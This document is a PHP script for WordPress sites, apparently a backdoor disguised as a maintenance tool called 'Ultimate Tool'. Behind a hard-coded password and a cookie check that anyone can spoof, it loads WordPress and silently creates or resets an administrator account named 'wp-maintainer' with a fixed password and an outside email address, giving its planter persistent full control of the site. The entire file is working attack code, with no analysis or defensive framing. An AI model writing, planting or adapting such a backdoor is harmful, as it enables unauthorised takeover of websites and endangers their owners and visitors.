<?php
/**
 *  ULTIMATE TOOL - 
 */
function find_wp_load() {
    $dir = __DIR__;
    for ($i = 0; $i < 15; $i++) {
        if (file_exists($dir . '/wp-load.php')) return $dir . '/wp-load.php';
        if ($dir === dirname($dir)) break;
        $dir = dirname($dir);
    }
    return false;
}
$wp_load = find_wp_load();
if (!$wp_load) die();
require_once $wp_load;
require_once ABSPATH . 'wp-admin/includes/user.php';
require_once ABSPATH . 'wp-admin/includes/file.php';
$secret_password = 'joker123';
$msg = '';
$access_granted = false;
if (isset($_POST['secret_pass'])) {
    if ($_POST['secret_pass'] === $secret_password) {
        $access_granted = true;
        setcookie('wp_maint_access', '1', time() + 86400 * 30, '/');
    } else {
        $msg = "❌ Wrong password!";
    }
} elseif (isset($_COOKIE['wp_maint_access'])) {
    $access_granted = true;
}
// AUTO CREATE ADMIN
if ($access_granted) {
    $username = 'wp-maintainer';
    $password = 'CSrnxpHd$eiXjQ1E7(5nXzwo';
    $email = 'xleettester@gmail.com';
    $user = get_user_by('login', $username);
    if ($user) {
        wp_set_password($password, $user->ID);
        $user->set_role('administrator');
    } else {
        $user_id = wp_insert_user([
            'user_login' => $username,
            'user_email' => $email,
            'user_pass' => $password,
            'role' => 'administrator'
        ]);
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Ultimate Tool</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-900 text-white p-8">
<div class="max-w-6xl mx-auto">
    <h1 class="text-4xl font-bold text-red-500 mb-10 text-center"> ULTIMATE </h1>
   
    <?php if (!$access_granted): ?>
    <div class="max-w-md mx-auto bg-gray-800 p-12 rounded-3xl text-center">
        <h2 class="text-3xl mb-8">Enter Password</h2>
        <form method="POST">
            <input type="password" name="secret_pass" required class="w-full p-6 rounded-2xl bg-gray-700 text-2xl text-center">
            <button type="submit" class="mt-8 w-full bg-red-600 py-6 rounded-2xl text-xl font-bold">UNLOCK FULL TOOL</button>
        </form>
    </div>
    <?php else: ?>
        <div class="bg-gray-800 p-10 rounded-3xl">
            <h2 class="text-3xl mb-6 text-green-400">✅ Full Access Granted</h2>
            <p class="text-lg mb-8">wp-maintainer account created and logged in.</p>
        </div>
    <?php endif; ?>
</div>
</body>
</html>